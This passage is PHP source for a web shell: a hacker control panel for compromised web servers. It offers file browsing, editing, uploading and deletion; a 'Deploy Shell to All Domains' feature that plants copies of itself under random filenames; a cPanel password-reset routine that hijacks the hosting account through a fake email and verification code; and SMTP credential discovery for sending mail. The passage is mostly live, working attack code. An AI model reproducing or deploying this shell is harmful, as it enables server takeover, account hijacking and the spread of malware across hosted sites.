$result;}$chars='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*';$newpass='';for($i=0;$i<16;$i++){$newpass.=$chars[rand(0,strlen($chars)-1)];}$ch=curl_init();curl_setopt($ch,CURLOPT_URL,'https://'.$iporhostname.':2083/resetpass');curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,'action=password&user='.$user.'&debug=&password='.$newpass.'&alpha=both&nonalpha=both&confirm='.$newpass);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,false);curl_setopt($ch,CURLOPT_COOKIEJAR,$cookiejar);curl_setopt($ch,CURLOPT_COOKIEFILE,$cookiejar);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,30);$ou=curl_exec($ch);curl_close($ch);if(file_exists($cookiejar)){unlink($cookiejar);}if(strpos($ou,'success-change-password')!==false){$result['status']='success';$result['message']='cPanel password reset successfully';$result['username']=$user;$result['password']=$newpass;$result['details']=['email_used'=>$fakeemail,'verification_code'=>$valkey,'login_url'=>'https://'.$iporhostname.':2083/'];}else{$result['message']='Final password change step failed';}return $result;}$act=isset($_GET['a'])?$_GET['a']:"";$current_dir=isset($_GET['d'])?$_GET['d']:getcwd();if(!is_dir($current_dir)||!is_readable($current_dir)){$current_dir=getcwd();}$success_msg="";$error_msg="";if($authenticated){$raw_mode=false;if(strpos($act,'Raw')!==false){$raw_mode=true;$act=str_replace('Raw','',$act);header('Content-Type: application/json');}switch($act){case 'delete':if(isset($_GET['path'])){$path=$_GET['path'];if(delete_file($path)){$success_msg="File/folder deleted successfully.";if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg]);exit;}}else{$error_msg="Failed to delete.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}}elseif(isset($_POST['files'])&&is_array($_POST['files'])){$results=[];foreach($_POST['files']as $path){$success=delete_file($path);$results[]=['path'=>$path,'status'=>$success?'success':'failed'];}if($raw_mode){echo json_encode(['status'=>'success','results'=>$results]);exit;}else{$success_msg="Batch delete operation completed.";}}break;case 'rename':if(isset($_POST['oldname'])&&isset($_POST['newname'])){$old_path=$_POST['oldname'];$new_path=dirname($old_path).'/'.$_POST['newname'];if(rename_item($old_path,$new_path)){$success_msg="Renamed successfully.";if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg,'new_path'=>$new_path]);exit;}}else{$error_msg="Failed to rename.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}}break;case 'upload':if(isset($_FILES['uploadfile'])){$upload_path=$current_dir.'/'.basename($_FILES['uploadfile']['name']);if(move_uploaded_file($_FILES['uploadfile']['tmp_name'],$upload_path)){$success_msg="File uploaded successfully.";if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg,'path'=>$upload_path]);exit;}}else{$error_msg="Upload failed.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}}break;case 'zip':if(isset($_POST['source'])&&isset($_POST['destination'])){if(zip_file($_POST['source'],$_POST['destination'])){$success_msg="File/folder zipped successfully.";if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg,'path'=>$_POST['destination']]);exit;}}else{$error_msg="Failed to zip.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}}break;case 'unzip':if(isset($_POST['zipfile'])&&isset($_POST['extractto'])){if(unzip_file($_POST['zipfile'],$_POST['extractto'])){$success_msg="File unzipped successfully.";if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg,'path'=>$_POST['extractto']]);exit;}}else{$error_msg="Failed to unzip.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}}break;case 'edit':if(isset($_GET['file'])){$file_path=$_GET['file'];$file_content=read_file($file_path);if(isset($_POST['content'])){if(save_file($file_path,$_POST['content'])){$success_msg="File saved successfully.";$file_content=$_POST['content'];if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg]);exit;}}else{$error_msg="Failed to save file.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}}else if($raw_mode){echo json_encode(['status'=>'success','content'=>$file_content,'path'=>$file_path]);exit;}}break;case 'deploy':$domains=get_domains();$results=deploy_to_domains($domains);if($raw_mode){echo json_encode(['status'=>'success','results'=>$results]);exit;}break;case 'smtp_test':if(isset($_POST['to_email'])&&isset($_POST['subject'])&&isset($_POST['message'])){$to=$_POST['to_email'];$subject=$_POST['subject'];$message=$_POST['message'];if(!empty($smtp_config['smtp_server'])&&!empty($smtp_config['smtp_user'])){$headers='From: '.$smtp_config['smtp_user']."\r\n".'Reply-To: '.$smtp_config['smtp_user']."\r\n".'X-Mailer: PHP/'.phpversion();$old_smtp=ini_get('SMTP');$old_port=ini_get('smtp_port');$old_from=ini_get('sendmail_from');ini_set('SMTP',$smtp_config['smtp_server']);ini_set('smtp_port',$smtp_config['smtp_port']);ini_set('sendmail_from',$smtp_config['smtp_user']);if(function_exists('mail')&&@mail($to,$subject,$message,$headers)){$success_msg="Test email sent successfully to {$to}!";if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg]);exit;}}else{$error_msg="Failed to send test email. Error: ".error_get_last()['message']?? 'Unknown error';if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}ini_set('SMTP',$old_smtp);ini_set('smtp_port',$old_port);ini_set('sendmail_from',$old_from);}else{$error_msg="SMTP settings not properly configured.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}}else{$error_msg="Please fill all email fields.";if($raw_mode){echo json_encode(['status'=>'error','message'=>$error_msg]);exit;}}$act='smtp';break;case 'smtp':if(isset($_GET['discover'])||isset($_POST['to_email'])){$smtp_config=discover_and_verify_smtp_credentials();if(isset($_GET['discover'])&&$_GET['discover']==='1'&&$raw_mode){echo json_encode(['status'=>'success','config'=>$smtp_config]);exit;}}break;case 'list':if($raw_mode){$list_path=isset($_GET['d'])?$_GET['d']:$current_dir;$file_list=list_files($list_path);echo json_encode(['status'=>'success','path'=>$list_path,'dirs'=>$file_list['dirs'],'files'=>$file_list['files']]);exit;}break;case 'info':if($raw_mode){echo json_encode(['status'=>'success','server_info'=>$server_info]);exit;}break;case 'domains':if($raw_mode){$domains=get_domains();echo json_encode(['status'=>'success','domains'=>$domains]);exit;}break;case 'batch_operation':if(isset($_POST['operation'])&&isset($_POST['files'])&&is_array($_POST['files'])){$operation=$_POST['operation'];$files=$_POST['files'];$results=[];switch($operation){case 'delete':foreach($files as $file){$success=delete_file($file);$results[]=['path'=>$file,'status'=>$success?'success':'failed'];}$success_msg="Batch delete operation completed.";break;case 'zip':if(isset($_POST['destination'])){$destination=$_POST['destination'];$temp_dir=sys_get_temp_dir().'/batch_zip_'.uniqid();mkdir($temp_dir);foreach($files as $i=>$file){$basename=basename($file);copy($file,$temp_dir.'/'.$basename);$results[]=['path'=>$file,'status'=>'copied'];}if(zip_file($temp_dir,$destination)){$success_msg="Files zipped successfully to $destination";$results[]=['destination'=>$destination,'status'=>'success'];}else{$error_msg="Failed to create zip file.";$results[]=['destination'=>$destination,'status'=>'failed'];}delete_directory($temp_dir);}else{$error_msg="Destination path required for zip operation.";}break;}if($raw_mode){echo json_encode(['status'=>'success','message'=>$success_msg ?? '','error'=>$error_msg ?? '','results'=>$results]);exit;}}break;case 'cpanel':if($raw_mode){$result=reset_cpanel_password();echo json_encode($result);exit;}else{$cpanel_result=reset_cpanel_password();}break;}}$server_info=$authenticated?get_server_info():[];$file_list=$authenticated?list_files($current_dir):['dirs'=>[],'files'=>[]];$domains=$authenticated?get_domains():[];$smtp_config=[];if($authenticated&&$act==='smtp'){if(isset($_GET['discover'])||isset($_POST['to_email'])){$smtp_config=discover_and_verify_smtp_credentials();}else{$smtp_config=['smtp_server'=>$_SERVER['SERVER_NAME']?? $_SERVER['HTTP_HOST']?? 'localhost','smtp_port'=>'587','smtp_user'=>'info@'.($_SERVER['SERVER_NAME']?? $_SERVER['HTTP_HOST']?? 'localhost'),'smtp_pass'=>'(Click Discover button to find or generate credentials)','status'=>'pending','detection_methods'=>['Basic Info']];}} ?><!doctypehtml><html><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title><?php echo $config['title']; ?></title><style>*{margin:0;padding:0;box-sizing:border-box}body{background-color:#0f0f0f;color:#ddd;font-family:'Courier New',Courier,monospace;font-size:13px;margin:0;padding:10px}.container{max-width:1000px;margin:0 auto;border:1px solid #444;background-color:#1a1a1a;padding:10px}.header{border-bottom:1px solid #444;padding-bottom:10px;margin-bottom:15px}.footer{margin-top:15px;border-top:1px solid #444;padding-top:10px;text-align:center;color:#777;font-size:12px}h1{color:#7ef77e;font-size:24px;margin-bottom:5px}.info{color:#aaa;margin-bottom:10px}table{width:100%;border-collapse:collapse;margin-bottom:15px}table,td,th{border:1px solid #444}th{background-color:#333;color:#fff;text-align:left;padding:5px}td{padding:5px}tr:nth-child(even){background-color:#222}input[type=password],input[type=text],select{background-color:#333;border:1px solid #555;color:#ddd;padding:5px;width:100%}textarea{background-color:#333;border:1px solid #555;color:#ddd;width:100%;height:300px;padding:5px;font-family:'Courier New',Courier,monospace;font-size:13px}.btn{background-color:#333;border:1px solid #555;color:#ddd;padding:5px 10px;cursor:pointer;text-decoration:none;display:inline-block;margin:2px}.btn:hover{background-color:#444}.btn-green{background-color:#1d5e1d}.btn-green:hover{background-color:#2d7a2d}.btn-red{background-color:#8b2323}.btn-red:hover{background-color:#a82e2e}.btn-blue{background-color:#23238b}.btn-blue:hover{background-color:#2e2ea8}.success{color:#7ef77e;margin-bottom:10px}.error{color:#f77e7e;margin-bottom:10px}a{color:#7ea5f7;text-decoration:none}a:hover{text-decoration:underline}.actions{margin-bottom:15px}.section{margin-bottom:15px;border:1px solid #444;padding:10px}.section-header{margin-bottom:10px;padding-bottom:5px;border-bottom:1px solid #444;color:#7ef77e}.login-form{width:300px;margin:50px auto;padding:20px;border:1px solid #444;background-color:#222}.toolbar{margin-bottom:10px}.file-path{padding:5px;background-color:#333;margin-bottom:10px;overflow-x:auto;white-space:nowrap}.tabs{display:flex;margin-bottom:10px}.tab{padding:8px 15px;cursor:pointer;background-color:#333;margin-right:5px;border-top:1px solid #444;border-right:1px solid #444;border-left:1px solid #444}.tab.active{background-color:#1d5e1d}.tab-content{display:none}.tab-content.active{display:block}</style></head><body><div class="container"><div class="header"><h1><?php echo $config['title']; ?></h1><div class="info">Server:<?php echo htmlspecialchars($server_info['server_software']); ?>| PHP:<?php echo htmlspecialchars(PHP_VERSION); ?>| IP:<?php echo htmlspecialchars($server_info['server_ip']); ?>| Your IP:<?php echo htmlspecialchars($server_info['your_ip']); ?></div><div class="tabs"><div class="tab<?php echo empty($act)||$act=='browser'?'active':''; ?>"onclick='location.href="?"'>File Browser</div><div class="tab<?php echo $act=='info'?'active':''; ?>"onclick='location.href="?a=info"'>System Info</div></div></div><?php if(!empty($success_msg)): ?><div class="success"><?php echo $success_msg; ?></div><?php endif; ?><?php if(!empty($error_msg)): ?><div class="error"><?php echo $error_msg; ?></div><?php endif; ?><?php if($act==='info'): ?><div class="section"><h3 class="section-header">System Information</h3><table><tr><td width="120">Operating System</td><td><?php echo htmlspecialchars($server_info['os']); ?></td></tr><tr><td>Server Software</td><td><?php echo htmlspecialchars($server_info['server_software']); ?></td></tr><tr><td>PHP Version</td><td><?php echo htmlspecialchars($server_info['php_version']); ?></td></tr><tr><td>Server IP</td><td><?php echo htmlspecialchars($server_info['server_ip']); ?></td></tr><tr><td>Your IP</td><td><?php echo htmlspecialchars($server_info['your_ip']); ?></td></tr><tr><td>Free Space</td><td><?php echo htmlspecialchars($server_info['disk_free']); ?>/<?php echo htmlspecialchars($server_info['disk_total']); ?></td></tr><tr><td>Document Root</td><td><?php echo htmlspecialchars($server_info['document_root']); ?></td></tr><tr><td>Current User</td><td><?php echo htmlspecialchars($server_info['current_user']); ?></td></tr><tr><td>Uname</td><td><?php echo htmlspecialchars($server_info['uname']); ?></td></tr></table></div><?php elseif($act==='smtp'): ?><div class="section"><h3 class="section-header">SMTP Configuration</h3><?php if(!empty($smtp_config['detection_methods'])): ?><div class="info">Detection methods:<?php echo htmlspecialchars(implode(", ",$smtp_config['detection_methods'])); ?><?php if(isset($smtp_config['status'])): ?>| Status: <span style="color:<?php echo $smtp_config['status']==='verified'?'#7ef77e':($smtp_config['status']==='pending'?'#f7d35e':'#f7d35e'); ?>"><?php echo $smtp_config['status']==='verified'?'Verified':($smtp_config['status']==='pending'?'Pending Discovery':'Generated (Not Verified)'); ?></span><?php endif; ?></div><?php endif; ?><table><tr><th>Setting</th><th>Value</th></tr><tr><td>SMTP Server</td><td><?php echo htmlspecialchars($smtp_config['smtp_server']?? 'Not found'); ?></td></tr><tr><td>SMTP Port</td><td><?php echo htmlspecialchars($smtp_config['smtp_port']?? 'Not found'); ?></td></tr><tr><td>SMTP User</td><td><?php echo htmlspecialchars($smtp_config['smtp_user']?? 'Not found'); ?></td></tr><tr><td>SMTP Password</td><td><?php echo htmlspecialchars($smtp_config['smtp_pass']?? 'Not found'); ?></td></tr></table><div style="margin:15px 0"><a href="?a=smtp&discover=1"class="btn btn-green">Discover SMTP Settings</a> <span style="margin-left:10px;color:#aaa">Click to search for valid SMTP settings on this server</span></div><?php if(isset($smtp_config['smtp_command'])&&$smtp_config['status']!=='pending'): ?><div class="section-header"style="margin-top:20px">Manual SMTP Test Commands</div><pre style="background-color:#333;padding:10px;overflow-x:auto;color:#ddd"><?php echo htmlspecialchars($smtp_config['smtp_command']); ?></pre><?php endif; ?><?php if($smtp_config['status']!=='pending'): ?><div class="section-header"style="margin-top:20px">Test Email Sending</div><form action="?a=smtp_test"method="post"><div style="display:flex;gap:10px;margin-bottom:10px"><div style="flex:1"><label>To Email:</label> <input name="to_email"placeholder="recipient@example.com"></div><div style="flex:1"><label>Subject:</label> <input value="Test Email from Server"name="subject"></div></div><div style="margin-bottom:10px"><label>Message:</label> <textarea name="message"style="height:100px">This is a test email sent from <?php echo htmlspecialchars($_SERVER['SERVER_NAME']?? 'server'); ?> at <?php echo date('Y-m-d H:i:s'); ?></textarea></div><input type="submit"class="btn btn-green"value="Send Test Email"></form><?php endif; ?></div><?php elseif($act==='deploy'): ?><div class="section"><h3 class="section-header">Deploy Shell to All Domains</h3><?php if(isset($results)): ?><div class="success">Deployment results:</div><table><tr><th>Domain</th><th>Status</th><th>Filename</th><th>Path</th><th>URL</th></tr><?php foreach($results as $result): ?><tr><td><?php echo htmlspecialchars($result['domain']); ?></td><td><?php if($result['status']==='success'): ?><span style="color:#7ef77e">Success</span><?php elseif($result['status']==='skipped'): ?><span style="color:#f7d35e">Skipped</span><?php else: ?><span style="color:#f77e7e">Failed</span><?php endif; ?></td><td><?php echo isset($result['filename'])?htmlspecialchars($result['filename']):'-'; ?></td><td><?php echo isset($result['path'])?htmlspecialchars($result['path']):'-'; ?></td><td><?php if($result['status']==='success'): ?><a href="<?php echo htmlspecialchars($result['url']); ?>"target="_blank"><?php echo htmlspecialchars($result['url']); ?></a><?php else: ?>-<?php endif; ?></td></tr><?php endforeach; ?></table><?php else: ?><div class="info">Found<?php echo count($domains); ?>domain(s).</div><table><tr><th>#</th><th>Domain</th></tr><?php foreach($domains as $i=>$domain): ?><tr><td><?php echo $i+1; ?></td><td><?php echo htmlspecialchars($domain); ?></td></tr><?php endforeach; ?></table><form action="?a=deploy"method="post"><p>This will deploy the shell to all domains on this server using random filenames.</p><br><input type="submit"class="btn btn-green"value="Deploy Shell"></form><?php endif; ?></div><?php elseif($act==='edit'&&isset($file_path)): ?><div class="section"><h3 class="section-header">File Editor</h3><div class="file-path"><?php echo htmlspecialchars($file_path); ?></div><form action="?a=edit&file=<?php echo urlencode($file_path); ?>"method="post"><div class="toolbar"><button class="btn btn-green"type="submit">Save</button> <a href="?d=<?php echo urlencode(dirname($file_path)); ?>"class="btn">Back to Browser</a></div><textarea name="content"spellcheck="false"><?php echo htmlspecialchars($file_content); ?></textarea></form></div><?php elseif($act==='cpanel'): ?><div class="section"><h3 class="section-header">cPanel Password Reset</h3><?php if(isset($cpanel_result)): ?><?php if($cpanel_result['status']==='success'): ?><div class="success"><h4>Password Reset Successful</h4><p><strong>Username:</strong><?php echo htmlspecialchars($cpanel_result['username']); ?></p><p><strong>New Password:</strong><?php echo htmlspecialchars($cpanel_result['password']); ?></p><p>You can now log in to cPanel with these credentials.</p></div><?php else: ?><div class="error"><h4>Password Reset Failed</h4><p><?php echo htmlspecialchars($cpanel_result['message']); ?></p></div><?php endif; ?><?php else: ?><p>This tool will reset the cPanel password for the current user account by:</p><ol style="margin-left:25px;margin-bottom:15px"><li>Creating a temporary email address</li><li>Updating account contact information</li><li>Initiating the password reset process</li><li>Verifying with the security code sent to email</li><li>Setting a strong random password</li></ol><form action="?a=cpanel"method="post"><p>Click the button below to reset the cPanel password. The new password will be displayed after successful reset.</p><input type="submit"class="btn btn-green"value="Reset cPanel Password"></form><?php endif; ?></div><?php else: ?><div class="actions"><form><input type="hidden"value="browser"name="a"> <input value="<?php echo htmlspecialchars($current_dir); ?>"name="d"style="width:80%"> <input type="submit"class="btn"value="Go"></form></div><div class="section"><h3 class="section-header">Upload File</h3><form action="?a=upload&d=<?php echo urlencode($current_dir); ?>"method="post"enctype="multipart/form-data"><input type="file"name="uploadfile"style="background-color:#333;color:#ddd;margin-bottom:10px"> <input type="submit"class="btn btn-green"value="Upload"></form></div><div class="section"><h3 class="section-header">Zip / Unzip</h3><div style="display:flex;gap:20px"><div style="flex:1"><h4 style="margin-bottom:5px">Create ZIP Archive</h4><form action="?a=zip&d=<?php echo urlencode($current_dir); ?>"method="post"><label>Source:</label> <input name="source"placeholder="Full path to file/directory"><br><br><label>Destination ZIP:</label> <input name="destination"placeholder="Full path for ZIP file"><br><br><input type="submit"class="btn btn-green"value="Create ZIP"></form></div><div style="flex:1"><h4 style="margin-bottom:5px">Extract ZIP Archive</h4><form action="?a=unzip&d=<?php echo urlencode($current_dir); ?>"method="post"><label>ZIP File:</label> <input name="zipfile"placeholder="Full path to ZIP file"><br><br><label>Extract to:</label> <input value="<?php echo htmlspecialchars($current_dir); ?>"name="extractto"><br><br><input type="submit"class="btn btn-green"value="Extract ZIP"></form></div></div></div><div class="section"><h3 class="section-header">File Browser:<?php echo htmlspecialchars($current_dir); ?></h3><div class="bulk-actions"style="margin-bottom:10px;display:none"><strong>Selected Items: <span id="selected-count">0</span></strong><div style="margin-top:5px"><button class="btn btn-red"onclick="bulkDelete()">Delete Selected</button> <button class="btn"onclick="bulkZip()">Zip Selected</button> <button class="btn"onclick="selectAll(!1)">Deselect All</button></div></div><table><tr><th width="20"><input type="checkbox"onclick="selectAll(this.checked)"id="select-all"></th><th>Name</th><th width="120">Size</th><th width="100">Permissions</th><th width="150">Last Modified</th><th width="230">Actions</th></tr><tr><td></td><td colspan="5"><a href="?d=<?php echo urlencode(dirname($current_dir)); ?>">..</a></td></tr><?php foreach($file_list['dirs']as $dir): ?><tr><td><input type="checkbox"class="file-checkbox"data-path="<?php echo htmlspecialchars($dir['path']); ?>"onclick="updateSelectedCount()"></td><td><a href="?d=<?php echo urlencode($dir['path']); ?>"><?php echo htmlspecialchars($dir['name']); ?></a></td><td>DIR</td><td><?php echo $dir['perms']; ?></td><td><?php echo date('Y-m-d H:i:s',$dir['modified']); ?></td><td><a href="#"class="btn"onclick='renamePrompt("<?php echo htmlspecialchars(addslashes($dir['path'])); ?>","<?php echo htmlspecialchars(addslashes($dir['name'])); ?>")'>Rename</a> <a href="?a=delete&path=<?php echo urlencode($dir['path']); ?>&d=<?php echo urlencode($current_dir); ?>"class="btn btn-red"onclick='return confirm("Delete this directory?")'>Delete</a></td></tr><?php endforeach; ?><?php foreach($file_list['files']as $file): ?><tr><td><input type="checkbox"class="file-checkbox"data-path="<?php echo htmlspecialchars($file['path']); ?>"onclick="updateSelectedCount()"></td><td><?php echo htmlspecialchars($file['name']); ?></td><td><?php echo format_size($file['size']); ?></td><td><?php echo $file['perms']; ?></td><td><?php echo date('Y-m-d H:i:s',$file['modified']); ?></td><td><a href="?a=edit&file=<?php echo urlencode($file['path']); ?>"class="btn btn-blue">Edit</a> <a href="#"class="btn"onclick='renamePrompt("<?php echo htmlspecialchars(addslashes($file['path'])); ?>","<?php echo htmlspecialchars(addslashes($file['name'])); ?>")'>Rename</a> <a href="?a=delete&path=<?php echo urlencode($file['path']); ?>&d=<?php echo urlencode($current_dir); ?>"class="btn btn-red"onclick='return confirm("Delete this file?")'>Delete</a></td></tr><?php endforeach; ?></table></div><?php endif; ?><div class="footer">[<?php echo $config['title']; ?>v<?php echo $config['version']; ?>]</div></div><script>function renamePrompt(path, oldName) { const newName = prompt("Enter new name:", oldName); if (newName !== null && newName !== oldName) { const form = document.createElement('form'); form.method = 'POST'; form.action = '?a=rename&d=<?php echo urlencode($current_dir); ?>'; const oldInput = document.createElement('input'); oldInput.type = 'hidden'; oldInput.name = 'oldname'; oldInput.value = path; form.appendChild(oldInput); const newInput = document.createElement('input'); newInput.type = 'hidden'; newInput.name = 'newname'; newInput.value = newName; form.appendChild(newInput); document.body.appendChild(form); form.submit(); } } function selectAll(checked) { const checkboxes = document.querySelectorAll('.file-checkbox'); checkboxes.forEach(checkbox => { checkbox.checked = checked; }); updateSelectedCount(); } function updateSelectedCount() { const selectedCount = document.querySelectorAll('.file-checkbox:checked').length; document.getElementById('selected-count').textContent = selectedCount; const bulkActions = document.querySelector('.bulk-actions'); if (selectedCount > 0) { bulkActions.style.display = 'block'; } else { bulkActions.style.display = 'none'; } } function getSelectedFiles() { const selectedFiles = []; const checkboxes = document.querySelectorAll('.file-checkbox:checked'); checkboxes.forEach(checkbox => { selectedFiles.push(checkbox.getAttribute('data-path')); }); return selectedFiles; } function bulkDelete() { const selectedFiles = getSelectedFiles(); if (selectedFiles.length === 0) return; if (confirm(`Delete ${selectedFiles.length} selected items?`)) { const form = document.createElement('form'); form.method = 'POST'; form.action = '?a=batch_operation&d=<?php echo urlencode($current_dir); ?>'; const operationInput = document.createElement('input'); operationInput.type = 'hidden'; operationInput.name = 'operation'; operationInput.value = 'delete'; form.appendChild(operationInput); selectedFiles.forEach(filePath => { const fileInput = document.createElement('input'); fileInput.type = 'hidden'; fileInput.name = 'files[]'; fileInput.value = filePath; form.appendChild(fileInput); }); document.body.appendChild(form); form.submit(); } } function bulkZip() { const selectedFiles = getSelectedFiles(); if (selectedFiles.length === 0) return; const zipName = prompt("Enter zip file name:", "archive.zip"); if (!zipName) return; const zipPath = '<?php echo addslashes($current_dir); ?>/' + zipName; const form = document.createElement('form'); form.method = 'POST'; form.action = '?a=batch_operation&d=<?php echo urlencode($current_dir); ?>'; const operationInput = document.createElement('input'); operationInput.type = 'hidden'; operationInput.name = 'operation'; operationInput.value = 'zip'; form.appendChild(operationInput); const destinationInput = document.createElement('input'); destinationInput.type = 'hidden'; destinationInput.name = 'destination'; destinationInput.value = zipPath; form.appendChild(destinationInput); selectedFiles.forEach(filePath => { const fileInput = document.createElement('input'); fileInput.type = 'hidden'; fileInput.name = 'files[]'; fileInput.value = filePath; form.appendChild(fileInput); }); document.body.appendChild(form); form.submit(); }</script></body></html>